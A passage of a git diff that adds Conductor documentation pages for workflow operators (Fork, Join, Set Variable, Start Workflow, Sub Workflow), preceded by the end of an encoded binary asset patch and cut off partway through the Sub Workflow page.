zi&1dtl1gm_^c9tWjVMrecX=UK5duL{6b9<4gpQ#ax>F2o{T7FWfI&tsLK1V0)?5T3 zDk}2Y+Kun%=nMJNhXMnodi6ErM-N zunw~2-FM+rpA{0>z86yp)qSORsjywH6k}uaLkSYV2-#m*RUP2b^g=4zQGA4J>OjCn6>uJA!*Hq3ofLWa1IuZR=J=`aWw9{e6bM3`rbsQ~&-MN5+ZS zU1T~XqTr2+_EKCzMq4oVdwu<-BasjfW2CYUBA3T|kAz$l;Cw13hKtZe*xVoZ=OHlnch#|>Oqj#;%|liSmuswz&?+*didM)QKcbbv?ybyMjVF~D)` z^O5W~z>l8&^fE!@>ut&RCDblc;xYzDHduC6zIL8YIt zS+<`QV%OnBN)Wut{__1eLl~UwBSV9Y&a_K*Tg>-Yx@>YWRV;Ujx9#T$-6ZnU7u@eT znwJA`X?^jRHZFp8!(Su2==sVLd)`Kamaj^R+ozCUVg^2>_A>YxZhEkVQKgMmv0#o8 zT%PW@LOfcaGYu~iNg7!r*M0Gj;hA85y~u)LfPoE_Q2&4F9C6%CZlzTmm*PXukh zP`ti5+Xkwlf~J9bu#$|M@iwRJAse7l691Si>O1Tcr0N+OrH{<9&PmdxUO&6OAj9`WrHR!|3B+72R?mao+ z<_~H@-L+=J8HV!+MR@kKF>VJlqwH$ks*yb>Z)fIF5(<d(L2LTn4 z9Q%ks0b{W{5fU(y44(e}f*XQPVwyH7gr4>zVI3@;9;W5EKUFH?bqQ2|HX+TVb>^x- zy>CvXe`DLYl#q(~EcnFXZx1A|4=Pg{`?&?bJswuTA&nvv+6qJ?VEZh?jkgJFfWq~W zqVraJ1MQB`^UqpPd9MBTQ2Hpxx;B7QomWHoU^F)b1->T_UEho*TDsBo@b>n?3f?IC z$@}4UQdHF*bDeVpsEif$zCPLL#r@5EByABrU;i7Jr?gJ66N8)JyZj%F1xSq!=W1Bk z`(G(#2=8WrTz5v^)EWhDYG$>@afJ#!6GQF$gH8aLeIUsP-jJ z#eu3Gfr`o&QF9b0zz|ACEvz=yBzDj9!R!|rpyN9ydWmXe1HA$~s(oJm-Cs1A5;hGS)Ry;h%DMWOK! z3`vRHH{}_|3;M%n_&bz8X(N2RJ|X^*e~9E~2n-JqT9DQaw-yGPqYQC|+&g|7K#jQH z*=!J1J3B=DoH>IYSK0z*wv*|WEA5WjeHz>+`c9=a&o_PwjEiw91qqx`mV!j87dMGvC;xmUXIVs5KIxpv2!--XhGvn zX{j0_w)7huO)fgALDfL9qMSKu=L!p_exST`Sru(Y95oI((PbEO?*$EkWpH%ZE}hn6 z6GD3bF0(0d-a7^yYNcN3pqfVS?E7Lfxpm`0U17@Xbh{iG44-U2&=7X6!;gZ_OQ*OxNt!s$*MJ=it3fW!heYSXQO=#o)k`>}LyD5XI< z+PjwpYsGYIwc3`K49R)4-Nv=*rja=%m)|gU!1{e05F(>>JNaXq8L02n6r=5L9w~fcAkyPuilo{8G^=}MgvZiA6Dh(Uu5=wMFAca}-NuN%4j$7I=?{2KI z%z8iD!Jj#u;ixIBzW7sTOetk;#wagtHZbX*^-$-?u{2NjmeWpewO48q@_HBr0lNKl zd1*-;_42Q7{Iyl62U%^GngwhZ>SZ><-%|u&n{IP!K;ufA^#1^Xm61@vtA;%@^t6w? zAUB`w<{viLp4mwLmkUOhnlog`K72p?grN>x(KtWY-b*m`o_ z770$*dw*%eI(RgKxszD}^09=3-tQ3rKUEL+uG9)UZ5=}XlO~%Tb>7vI1=6^gz&w1H z)!;nvnd}LukvG*+&BMvxcO;iz_6azZrcRX;ug`3U77Wq#C8|I*v9AI)#1%djOGAsa z1B8o5iau-?X+ZHD;!nz?p%X!F(d(LUv6vE9;>xoHZ<<|hc5>{a{zM;)25O$6+86*a9<S>)jQd7rD!W4bmK4#wH$q^^@3rMU;XTvvYi zU5mVBJ(Y%4#YCspYjkcimr_yI*VK4TOMQ|^JYHQuQmlAkEMOV08;&rcZL)HS-sLvv zFt_OmoRHCtONV`orE7D%FBi=;j#$2o9-Hkpo>+#6@K%H z1zc{+lL^M<*Gmrl@??JOF1c@w8w%JO*pu-daZZ-e zpiwP5&tIYOAHEbYEE*@o2GzfZ{*qAWZ=Dqi$lY>$jZ825(u)p_7Y1$(h64*$3+uO! zx*iXb7Hh8Or>Lt7(nlb_U-eaHjNXF#A!Fu>Q)lW0%sYe*A+FcfOVhIUP!C^@OyZ8I0|iCe>0zh>SXeWjTp8-zrCwTihCA z2sE~tl)AeIuBk~g0Xm{eJ$@5kEhjT7tvz+jJhk5YOC6@YIb*QcFE|>+S6mRfKGjT- zZBIoE#2USrWlgH36+I3v>2oHi!(yqmyq?8`nA?BW(` zq&v?Ajr0cDE7Ass!8{^w4;pVucOAvErjNwh@T+@kvkoM2UGm=@utt~+Dp-v;y?lKs z6qdL%3{y~`+}#92cbS=)3beUVJOm813^86hZHbT964i{9WiHX}cOCq2y}IH{1kHT@i_vy#d<_HKM=`MDW`!VIi{tX<_y{gvcYqG*%}KrxRP7pv zVCLMDsfF%=$<$;gNhccKbp5KDqg*RQptF8#M0-6Pcigd0CtysIkp}}#oAzaJW&0K{ zqf4&XPYtcO_q|F=O5R16gj%8Yql&clh!?Fz*XJ@8^lY{vej2>T_r9uV|Tk zO6k&BabCr7BhTHWgrid*Ojps^!njs6(u#F&JJ@d*HQTVoj5iYJxr(M1l(*yY{Cy=f zbn8=@_yu=WH6l9mI&86mkig_Gz$fI2Z5II1!K<6PJ7%k$r2=VDvnhO7qZ0VaE1!x9 zH3u0n>mp6((GQk=tK7g}sP<<_?g1j#JYAZ0F&)!~qc$JPk46K$^;uiO7 z*)Ncyk*EY9KQDGOR#^lpVdjkj{q`rJEu26x+~M$S>$@s)94F_=E5UVz6NExq=`j5O zkhL|t@L1e^#x(c&3TDTSn-PNSLWY@x7imn&!~&)3YB{PtB{Dz+Um@I2+MW>!WocK{+;5fVKePKOf1U40eDjxVuMD0@Ou0Z*@Qz|lU0zUo zMN^NlxNp~P$f0WdK_E>!OQz4pgYe|DEbA*@&s%VmL6(GFQ2kUqX&3Xjpzz?CLuOd~ zRfSRdLo|`=j@&y2ejJ6!`LkNeaIzpgO>trG1nif*Yb0gF`fbsCXK&pAZq>NLf25z! zee?h3L|fyT|K2&wLFbxtOY*!=N9dZfPdov;cz{JBNXz$w!OX%+_^TM_Wc61q{RGEf zL2U%J1>Q32< z0JZ0oo=|*N&o3<05hv}hR+(-}>2I>)=1Z-GT)Glh&>}kP-C)4Br7JtG;FaUOLL4+F z|29?c%E^;!32zz$mR760rx!nZhG;D+iSy(wv?o-H!B!D5KM}Y=DV)_0RINJ~Z_w+5b~K*`==1J3X1HPoE%(l(==>K1$iIs%u`{ zSzo^54%pkvk?G}90VvIJe}8{?;&Rnv)@XUEf39t?Cqg&GPeqIb?tzEIwL5V|Az$>M zJZf@zhvxSVyU|5=Vkn|LO047qa-8ifP;D8rzzqySOAJG4zY~C$ZNsKk1~nMOxLie_ zAQ-AAhLUNBQoon*9n4(`=T(err@wS6@yii|N}Ywe|0wM=z#|oSH7N=?p$!|aTv5O) zGy-%CG#M0;z>h}9_GC=V51-RIlTfjVgDvlz5;m@!vDNPyJ-jVGC|Rx@wlY8 zn{(N9PAw%n`^;;}5P$FJ$+%*<4K$wzk*D1&Pt&TTsHo+coB56YyiEdilkE*hKjRi) z3ob3wsdS$$nag8uvr*;yc+AloYl#nquFhH;rJ#UQA#?8mf9Fj^Mo?nnpfT!+YL4TvI*D)B~iHL{@7tr35$au?D!p_3tZ$&fyaG~L< z={{ggA?Pee#o)#;M{Bc@6aQ_1cqD*1S5u?aQ*b}b%hqu+Una4^=g zB`0TXs#M1 z8bjP(&e|FYpY4K)X)TagFU&V7;U$ z>Dc*RrOSU!q~&F6$SK|wh>G%V^9u;^L}GKqz?yFezp}PDrR7Jw<&1Gb-|l3AdxU8ndZu3<`m+DscrMb0T@!cA})oHKJ>7=e+8tp?yiIFUsJttuz0Y- zPZ+z%5c7q$w5TdABMb$4W9!;Ib;cGR0QPBRVUZ5j?DPvobwSq?aufAI8pxKE)tN&S zz*;@QNU}>{(W>$|+o}(ARt)e?#-_@NskL3a{Zj~b#4`+#_@1cWaCaNxfG4p=#tyQc zuXS5~%pToO3*LaWJKsOwoH^%N z=9%-{%XMAPb^osC_uD))x6H_7l#19Ly3e=1ZX|?@yM;zqJ1(os?L<6-g^)YM<0jXm z%TA&I`qlj(oA$C9ldc>6UakGB9jir^54O{C^Q(?LP${YENGvqT3@6nJySd(M z%GhW7l1n%?-du}9*R4{c*D4GTPMzl4U)a(8;-Jr$P9qMcH4VZ7DgqCg=Us0u&qj)x z;Xh!DBeXQF1mvCKNWf_|Jf{!qHb3T-la*~~Y?P6*u8_X}U4k7hE@54<(w~C_XqQIN zNXBJ$RQyoceN?SK?^&fP-({on7N@>5ICEu!ykcLb*re#nsrx#rYCO29abaKmLZxryY!SY|_ggBgiGal$FNF8hh ztm>B7ld(sHWMpJstNQxHPyvY5>Tvy~Gd#E{s4{-^iRC7(X!n&sGc<{E#%n$R+g z`HSot!vV#aPGSbIClf0tk7Mi!HNZrUkEc()SWGamXzc#p>kLNRqtn{q5-5BP7!g2J z&$^dtT?C+mz}+pq#);o^eRFej07xnXOX)Ng4gu>Lzh_TiHdS;2`I*72?IM>SaF#nx z^W1*(1BG1Q-d%lVYHA8l7;^xqAbH{d0&2JjeC9Iv=<3=>Mqu*H^QJp|_V*rM42Klo0@d=Rh!LToKg;0&%djEr!J%fGYI-V*d%f_Macj&R?onQ z**#hhptKKP_>*|pUckgq`RT^pa}^#_Yzq4TM3^Fz$8yZ`_@Zh6rB*3cNI3+L`DV~o zNS2HS0CN})7qz-cnT#*KQVL+!F>B`B$kd1kk!Dgc+V0dHEhl?zOCfb^lBTN9V%vdx z-}Cj}?QE@yXS$1bodX1)^j+N8U7)^{R^MWNu?pfjm zRn_V%aHLXc7(o2Ku=Qm=Ta!4Ns-t;08E&>Nt|XXvdQQwdR|mr!1-ENBAi~Alv9xs_ zB7ailP@@1FjsSfDW5a3Um4uJQ3n_jFkju=76=L{lfDqWI?h^sPoXueP7ll=Ql&IN$@cBy^4CW~o zqppUTIIy5?oj!9V@(2fyHQv}4qvhFMdKYOXd}bL~)@1?|sYKKvXv7F8oH>J{P5d-= zq)*`S`;nSshJIG3LGS`06IzHpuIMVX!~fm*Z=W?0Jxs;fMv-pAhSY8^03!M02!uZB zR0THuO7L}ejz^4dA8MzGY{$1Vj4_i|Xo_@xX2+L1@?k;qtF8nuFr5--1K~pc%&;ELw=ASk) zeyWu61kXI12UF~t$KeKl9D37}Y%tjpqt_+G_eDGKJXiZ1#{t$_rqSsmAL9UmWY;Y^ z?#J2!Dk0||^rcmJFT9M3Stm?1Kat^28R2LSKH3Johma3%Y9F5EW_}JkOlVXWp@lrc zriX_;YH%M?Q*;|4*T)rN?IZ-`W!dzfP9OQ}W>PM~MaQ6{X`18x0cvw~I-JVveglM2 zTyhze0M$)Lh1&u0+td>R6n7>L`(@0Jbz}B9tFd7GI^_6k9-|R4Tl`9mRD=pm${7(C z;s^q1X?8|trt%PDdQ{A#&F3)LQX!-yXoCs!O{>%E%cHRu-eMU8HI`)Io2Dt#J@21T%7wrsyC?DECcO@tIi|t`lnDeg7+?>;xH0gSS%tn zb$^Wj^*5*9!XA42CvuVS#Kx&Zdn&R6o+Z3&<6R=5DLnw(=B*1wW_VP0>5;lw!yl2p zFoZ7W8Gqn^aBcm7HJ|c^fPi`)xoaBADSHRU+NL1S$ECu2^JWlyRFd&-G3DP&j_Wx?F{P`ai0@AquNU;R#Aswy{L=((oE4G)a6P^rJ^}t+I$1K4WW(Dul zIMpdp*M_mHou5Yo1E>Sn0;vfRu{Q1!;1*&7>6y6J69E(ZBO_4!<{d|%>GHOBYW1vZ z?b`P&o28o7uf>z^RJg%yUo5p1ug0ox)m^xyzE6X_R_PnNM884RdfvX@{M>BGo885d zv#n6oy}7^7ry8vN%De8CTM$?-cCb;}26Vt#(eEQvGZLxF4m&{~(G zysuJ$2O|)Vd3lEtZ?4H5b6hoWpx`IqNK#r0EhSukls{~WG|4gZZ_ec~aw~d-Wx$I6 z%xag*5KS;Mu->x8-n}oz+qu(M^HeJ0P#g5tnB=+v*22DlbME4zyRGwnLMAz*I!9#yy^(eiS?SlTLy@pQPY84l<8Ps>|xMWQRpT z;Z7*1w2$Q^_Pz-QiaqsJ95C0Rn)6Z{AUK!T!ca`Wx`L$%Exbkc#Yr9Cs)RvP{d)q} zmXn>O3Zk%9-4~4n@{2bWWQqg2n?IU?2Skkg+c5K|!m8~0zhZv^FX5#VcOD>?| z8l5p48?=KyDplgpDFEto^m6J^-)Um<`!xT1AUC75E`p~qJD-#<5}3&FtRM=gvxRdC zZ;{Zk-}?K#yu6%AMdPnVcO24owrz^<6Cjw=nf8wr-%dY_ZId;=O7uh8({aPg&gdaX0f4enK@g+hQ$mo#mL40jr z^98(KvOj1Mcq^tmluJFS(*YHsO`2# zE#5A>yd2*C6tz2V0bb^~dg8dU$8GB5D;o8q+e7iny}_Yb7tf*ueY!9>-RCOc4a%2wKHiUwf^h z5EvjSDG7+rBZ@C;s`>-)n~U<@_wkUdzCppR#IIk!lDB9xZ>|-z#t0@_gOqNo^8y+O zm8?79y}Z5G&Z8K+@DQ~b_Df>CYXSJu@^VgLmEQrQ+qT-;+SJVf{Cb(84_6+@#=k0qeLz0?r56FEc87zCno9&C6mdk!rd#s5lGS6N_LDq#4wSJV|3R$@K z{O=N+12}sg1u?Z#k@`{N1{GBU3r|{Ad3kxoaJ3(0A}k8|lk@EcmVs0@LkeMLpY(9+ zCFfi)vcaeZt530C;ts=9LbuxFyXlt{QJO*RymjiwqOzy&B7&?70ir3FfJ?}JEGtuZ z?BU8_Y=ws`s=D7Jk|-GEmz~qs-ne+N2gk26-=aQGzWLep39Bzy#Jy1r%4uXRkV8Ql zq&os}>cPRmp?5(6?yKbf_9T^gY#5iAP+s9au7!|R4czhL)`*u>G_uTi*bomPrYh9Edsk3rd*z<1>(|>J?9h+yMfH$r_IgS}VuL8~ zu$@ho?>#*-54VV3B0)yphlz<86GAJGyxS(h~8x*odT^}A^!qrllU$G literal 0 HcmV?d00001 diff --git a/docs/documentation/configuration/workflowdef/operators/fork-task.md b/docs/documentation/configuration/workflowdef/operators/fork-task.md new file mode 100644 index 0000000..bc6e5e2 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/fork-task.md @@ -0,0 +1,137 @@ +--- +description: "Configure Fork (FORK_JOIN) tasks in Conductor to run task sequences in parallel. Learn parameters, JSON configuration, and Join task pairing." +--- + +# Fork +```json +"type" : "FORK_JOIN" +``` + +Also known as a static fork, a Fork task (`FORK_JOIN`) is used to run task sequences in parallel, including [Sub Workflow](sub-workflow-task.md) tasks. + +The Fork task must be followed by a [Join](join-task.md) that waits on the forked tasks to finish before moving to the next task. This Join task collects the outputs from each forked tasks. + +## Task parameters + +Use these parameters in top level of the Fork task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| forkTasks | List[List[Task]] | A list of tasks lists to be invoked in parallel (`[[...], [...]]`).

    Each item in the outer list represents a fork that will be invoked in parallel, while each inner list contains the task configurations for a particular fork. The tasks defined within each sublist can be sequential or even more nested forks. | Required. | + +The [Join](join-task.md) task must run after the forked tasks. Configure the Join task as well to complete the fork-join operations. + +## JSON configuration + +This is the task configuration for a Fork task. + +```json +{ + "name": "fork", + "taskReferenceName": "fork_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "forkTasks": [ + [ // fork branch + { + // task configuration + }, + { + // task configuration + } + ], + [ // another fork branch + { + // task configuration + }, + { + // task configuration + } + ] + ] +} +``` + +## Output + +The Fork task has no output. It is used in conjunction with the [JOIN](join-task.md) task, which aggregates the outputs from the parallelized forks. + +## Examples + +In this example workflow, three notifications are sent: email, SMS, and HTTP. Since none of these tasks depend on each other, they can be run in parallel with a Fork task. + +```mermaid +graph LR + A[Start] --> B[Fork] + B --> C1[process_notification_payload_email] + B --> C2[process_notification_payload_sms] + B --> C3[process_notification_payload_http] + C1 --> D1[email_notification] + C2 --> D2[sms_notification] + C3 --> D3[http_notification] + D1 --> E[Join] + D2 --> E + D3 --> E + E --> F[End] +``` + +Here's the JSON configuration for the Fork task, along with its corresponding Join task: + +```json +[ + { + "name": "fork_join", + "taskReferenceName": "my_fork_join_ref", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "process_notification_payload", + "taskReferenceName": "process_notification_payload_email", + "type": "SIMPLE" + }, + { + "name": "email_notification", + "taskReferenceName": "email_notification_ref", + "type": "SIMPLE" + } + ], + [ + { + "name": "process_notification_payload", + "taskReferenceName": "process_notification_payload_sms", + "type": "SIMPLE" + }, + { + "name": "sms_notification", + "taskReferenceName": "sms_notification_ref", + "type": "SIMPLE" + } + ], + [ + { + "name": "process_notification_payload", + "taskReferenceName": "process_notification_payload_http", + "type": "SIMPLE" + }, + { + "name": "http_notification", + "taskReferenceName": "http_notification_ref", + "type": "SIMPLE" + } + ] + ] + }, + { + "name": "notification_join", + "taskReferenceName": "notification_join_ref", + "type": "JOIN", + "joinOn": [ + "email_notification_ref", + "sms_notification_ref" + ] + } +] +``` + +Refer to the [Join](join-task.md) task for more details on the Join aspect of the Fork. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/index.md b/docs/documentation/configuration/workflowdef/operators/index.md new file mode 100644 index 0000000..787a645 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/index.md @@ -0,0 +1,27 @@ +--- +description: "Overview of Conductor workflow operators — control flow primitives like Fork, Switch, Do While, Dynamic Fork, Sub Workflow, and Terminate." +--- + +# Operators + +Operators are built-in primitives in Conductor that allow you to define the workflow's control flow. They are similar to programming constructs such as _for loops_, _if-else selections_, and so on. Conductor supports most programming primitives, so that you can create various advanced workflows. + +Here are the operators available in Conductor OSS: + +| Operator | Description | +| -------------------------- | ----------------------------------------- | +| [Do While](do-while-task.md) | Do-while loops / For loops | +| [Dynamic](dynamic-task.md) | Function pointer | +| [Dynamic Fork](dynamic-fork-task.md) | Dynamic parallel execution | +| [Fork](fork-task.md) | Static parallel execution | +| [Join](join-task.md) | Map | +| [Set Variable](set-variable-task.md) | Workflow variable declaration | +| [Start Workflow](start-workflow-task.md) | Entry point | +| [Sub Workflow](sub-workflow-task.md) | Subroutine | +| [Switch](switch-task.md) | Switch / If..then...else selection | +| [Terminate](terminate-task.md) | Exit | + +The following operators are deprecated: + +- Decision +- Exclusive Join \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/join-task.md b/docs/documentation/configuration/workflowdef/operators/join-task.md new file mode 100644 index 0000000..f720fb3 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/join-task.md @@ -0,0 +1,183 @@ +--- +description: "Join Task — synchronize parallel branches in a Conductor workflow, waiting for all forked tasks to complete." +--- + +# Join +```json +"type" : "JOIN" +``` + +A Join task is used in conjunction with a [Fork](fork-task.md) or [Dynamic Fork](dynamic-fork-task.md) task to wait on and join the forks. The Join task also aggregates the forked tasks' outputs for subsequent use. + +The Join task's behavior varies based on the preceding fork type: + +* When used with a Static Fork task, the Join task waits for a provided list of the forked tasks to be completed before proceeding with the next task. +* When used with a Dynamic Fork task, it implicitly waits for all the forked tasks to complete. + + +## Task parameters + +When used with a Static Fork, use these parameters in top level of the Join task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| joinOn | List[String] | (For Static Forks only) A list of task reference names that the Join task will wait for completion before proceeding with the next task. If not specified, the Join will move on to the next task without waiting for any forked tasks to complete. | Optional. | + +## JSON configuration + +Here is the task configuration for a Join task. + +### With a static fork + +```json +{ + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [ + // List of task reference names that the join should wait for + ] +} +``` + +### With a dynamic fork + +```json +{ + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN" +} +``` + +## Output + +The Join task will return a map of all completed forked task outputs (in other words, the output from all `joinOn` tasks.) The keys are task reference names of the tasks being joined and the values are the corresponding task outputs. + +**Example:** + +```json +{ + "taskReferenceName": { + "outputKey": "outputValue" + }, + "anotherTaskReferenceName": { + "outputKey": "outputValue" + }, + "someTaskReferenceName": { + "outputKey": "outputValue" + } +} +``` + + +## Examples + +Here are some examples for using the Join task. + +### Joining on all forks + +In this example task configuration, the Join task will wait for the completion of tasks `my_task_ref_1` and `my_task_ref_2` as specified in `joinOn`. + +```json +[ + { + "name": "fork_join", + "taskReferenceName": "my_fork_join_ref", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "my_task", + "taskReferenceName": "my_task_ref_1", + "type": "SIMPLE" + } + ], + [ + { + "name": "my_task", + "taskReferenceName": "my_task_ref_2", + "type": "SIMPLE" + } + ] + ] + }, + { + "name": "join_task", + "taskReferenceName": "my_join_task_ref", + "type": "JOIN", + "joinOn": [ + "my_task_ref_1", + "my_task_ref_2" + ] + } +] +``` + + +### Ignoring one fork + +In this example task configuration, the [Fork](fork-task.md) task spawns three tasks: an `email_notification` task, a `sms_notification` task, and a `http_notification` task. + +Email and SMS are usually best-effort delivery systems, while a HTTP-based notification can be retried until it succeeds or eventually gives up. Therefore, when you set up a notification workflow, you may decide to continue the workflow after you have kicked off an email and SMS notification, but let the `http_notification` task continue to execute without blocking the rest of the workflow. + +In that case, you can specify the `joinOn` tasks as follows: + +```json +[ + { + "name": "fork_join", + "taskReferenceName": "my_fork_join_ref", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "email_notification", + "taskReferenceName": "email_notification_ref", + "type": "SIMPLE" + } + ], + [ + { + "name": "sms_notification", + "taskReferenceName": "sms_notification_ref", + "type": "SIMPLE" + } + ], + [ + { + "name": "http_notification", + "taskReferenceName": "http_notification_ref", + "type": "SIMPLE" + } + ] + ] + }, + { + "name": "notification_join", + "taskReferenceName": "notification_join_ref", + "type": "JOIN", + "joinOn": [ + "email_notification_ref", + "sms_notification_ref" + ] + } +] +``` + +Here is the output of `notification_join`. The output is a map, where the keys are the task reference names of the `joinOn` tasks, and the corresponding values are the outputs of those tasks. + +```json +{ + "email_notification_ref": { + "email_sent_at": "2021-11-06T07:37:17+0000", + "email_sent_to": "test@example.com" + }, + "sms_notification_ref": { + "sms_sent_at": "2021-11-06T07:37:17+0129", + "sms_sent_to": "+1-425-555-0189" + } +} +``` diff --git a/docs/documentation/configuration/workflowdef/operators/set-variable-task.md b/docs/documentation/configuration/workflowdef/operators/set-variable-task.md new file mode 100644 index 0000000..491fbbb --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/set-variable-task.md @@ -0,0 +1,86 @@ +--- +description: "Set Variable Task — store and update workflow-level variables in Conductor for use across subsequent tasks." +--- +# Set Variable + +```json +"type" : "SET_VARIABLE" +``` + +The Set Variable task (`SET_VARIABLE`) allows you to construct shared variables at the workflow level across tasks. + +These variables can be initialized, accessed, or overwritten at any point in the workflow: + +* Once initialized, the variable can be referenced in any subsequent task using "${workflow.variables._someName_}" (replacing _someName_ with the actual variable name). +* Initialized values can be overwritten by a subsequent Set Variable task. + +## Task parameters + +To configure the Set Variable task, set your desired variable names and their respective values in `inputParameters`. The values can be set in two ways: + +* Hard-coded in the workflow definition, or +* A dynamic reference. + +## JSON configuration + +This is the task configuration for a Set Variable task. + +```json +{ + "name": "set_variable", + "taskReferenceName": "set_variable_ref", + "type": "SET_VARIABLE", + "inputParameters": { + "variableName": "value", + "variableName2": "${workflow.input.someKey}" + "variableName3": 5, + } +} +``` + +## Examples + +In this example workflow, a username is stored as a variable so that it can be reused in other tasks that require the username. + +```json +{ + "name": "Welcome_User_Workflow", + "description": "Designate a user to be welcomed", + "tasks": [ + { + "name": "set_name", + "taskReferenceName": "set_name_ref", + "type": "SET_VARIABLE", + "inputParameters": { + "name": "${workflow.input.userName}" + } + }, + { + "name": "greet_user", + "taskReferenceName": "greet_user_ref", + "inputParameters": { + "var_name": "${workflow.variables.name}" + }, + "type": "SIMPLE" + }, + { + "name": "send_reminder_email", + "taskReferenceName": "send_reminder_email_ref", + "inputParameters": { + "var_name": "${workflow.variables.name}" + }, + "type": "SIMPLE" + } + ] +} +``` + +In the example above, `set_name` is a Set Variable task that initializes a variable `name` using a workflow input reference. In subsequent tasks, the variable is later referenced using "${workflow.variables.name}". + + +## Limitations + +Here are some limitation when using the Set Variable task: + +* **Payload limit**—By default, there is a hard limit for the payload size of variables defined in the JVM system properties (`conductor.max.workflow.variables.payload.threshold.kb`) of 256KB. Exceeding this limit will cause the Set Variable task to fail. +* **Variable scope**—The scope of the Set Variable task is limited to its workflow. An initialized variable in one workflow will not carry over to another workflow or sub-workflow and will have to be re-initialized using another Set Variable task. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/start-workflow-task.md b/docs/documentation/configuration/workflowdef/operators/start-workflow-task.md new file mode 100644 index 0000000..eb44223 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/start-workflow-task.md @@ -0,0 +1,55 @@ +--- +description: "Start Workflow Task — asynchronously launch a new Conductor workflow execution from within a running workflow." +--- +# Start Workflow +```json +"type" : "START_WORKFLOW" +``` + +The Start Workflow task (`START_WORKFLOW`) starts another workflow from the current workflow. Unlike the [Sub Workflow](sub-workflow-task.md) task, the workflow triggered by the Start Workflow task will execute asynchronously. That means the current workflow proceeds to its next task without waiting for the started workflow to complete. + +A Start Workflow task is marked as COMPLETED when the requested workflow enters the RUNNING state, regardless of its final state. + +## Task parameters + +Use these parameters inside `inputParameters` in the Start Workflow task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| startWorkflow | Map[String, Any] | A map that includes the requested workflow’s configuration, such as the name and version. Refer to the [Start Workflow API](../../../api/startworkflow.md#request-body) for what to include in this parameter. | Required. | + +## Task configuration +Here is the task configuration for a Start Workflow task.​ + +```json +{ + "name": "start_workflow", + "taskReferenceName": "start_workflow_ref", + "inputParameters": { + "startWorkflow": { + "name": "someName", + "input": { + "someParameter": "someValue", + "anotherParameter": "anotherValue" + }, + "version": 1, + "correlationId": "" + } + }, + "type": "START_WORKFLOW" +} +``` + +## Output + + +The Start Workflow task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| workflowId | String | The workflow execution ID of the started workflow. | + + +## Limitations + +Because the Start Workflow task will neither wait for the completion of the started workflow nor pass back its output, it is not possible to access the output of the started workflow from the current workflow. If required, you can use the [Sub Workflow](sub-workflow-task.md) task instead. diff --git a/docs/documentation/configuration/workflowdef/operators/sub-workflow-task.md b/docs/documentation/configuration/workflowdef/operators/sub-workflow-task.md new file mode 100644 index 0000000..a3211fb --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/sub-workflow-task.md @@ -0,0 +1,291 @@ +--- +description: "Use Sub Workflow tasks in Conductor to nest and reuse workflows. Enables modular workflow design with synchronous execution and parent references." +--- + +# Sub Workflow +```json +"type" : "SUB_WORKFLOW" +``` + +The Sub Workflow task executes another workflow within the current workflow. This allows you to nest and reuse common workflows across multiple workflows. + + +Unlike the [Start Workflow](start-workflow-task.md) task, the Sub Workflow task provides synchronous execution and the executed sub-workflow will contain a reference to its parent workflow. + +The Sub Workflow task can also be used to overcome the limitations of other tasks: + +- Use it in a [Do While](do-while-task.md) task to achieve nested Do While loops. +- Use it in a [Dynamic Fork](dynamic-fork-task.md) task to execute more than one task in each fork. + + +## Task parameters + +Use these parameters inside `subWorkflowParam` in the Sub Workflow task configuration. + +| Parameter | Type | Description | Required / Optional | +| --------- | ---- | ----------- | ------------------- | +| subWorkflowParam.name | String | Name of the workflow to be executed. Must match a pre-registered workflow definition when no inline `workflowDefinition` is supplied. | Required. | +| subWorkflowParam.version | Integer | The version of the workflow to be executed. If unspecified, the latest version will be used. Ignored when an inline `workflowDefinition` is supplied. | Optional. | +| subWorkflowParam.workflowDefinition | Object _or_ String | Inline workflow definition to execute without prior registration. Accepts two forms: **(1) object** — a full `WorkflowDef` JSON object embedded directly in the task definition; **(2) String expression** — a `${ref.output.field}` expression resolved at runtime to a `WorkflowDef`-shaped Map produced by an earlier task (e.g. a planner agent). See [Inline workflow definition](#inline-workflow-definition) below. | Optional. | +| subWorkflowParam.taskToDomain | Map[String, String] | Allows scheduling the sub-workflow's tasks to specific domain mappings. Refer to [Task Domains](../../../api/taskdomains.md) for how to configure `taskToDomain`. | Optional. | +| inputParameters | Map[String, Any] | Contains the sub-workflow's input parameters, if any. | Optional. | + +## Task configuration + +Here is the task configuration for a Sub Workflow task. + +```json +{ + "name": "sub_workflow", + "taskReferenceName": "sub_workflow_ref", + "inputParameters": { + "someParameter": "someValue" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "my_workflow", + "version": 1 + } +} +``` + +## Inline workflow definition + +`subWorkflowParam.workflowDefinition` allows you to execute a sub-workflow without registering it in the metadata store first. This supports two usage patterns. + +### Static inline definition + +Embed a complete `WorkflowDef` object directly inside the task definition. Conductor passes it straight through to the sub-workflow executor. + +```json +{ + "name": "exec_plan", + "taskReferenceName": "exec", + "type": "SUB_WORKFLOW", + "inputParameters": { + "threshold": "${workflow.input.threshold}" + }, + "subWorkflowParam": { + "name": "my_inline_workflow", + "version": 1, + "workflowDefinition": { + "name": "my_inline_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "some_task", + "taskReferenceName": "t1", + "type": "SIMPLE", + "inputParameters": { + "p1": "${workflow.input.threshold}" + } + } + ], + "outputParameters": { + "result": "${t1.output.result}" + } + } + } +} +``` + +### Dynamic inline definition (String 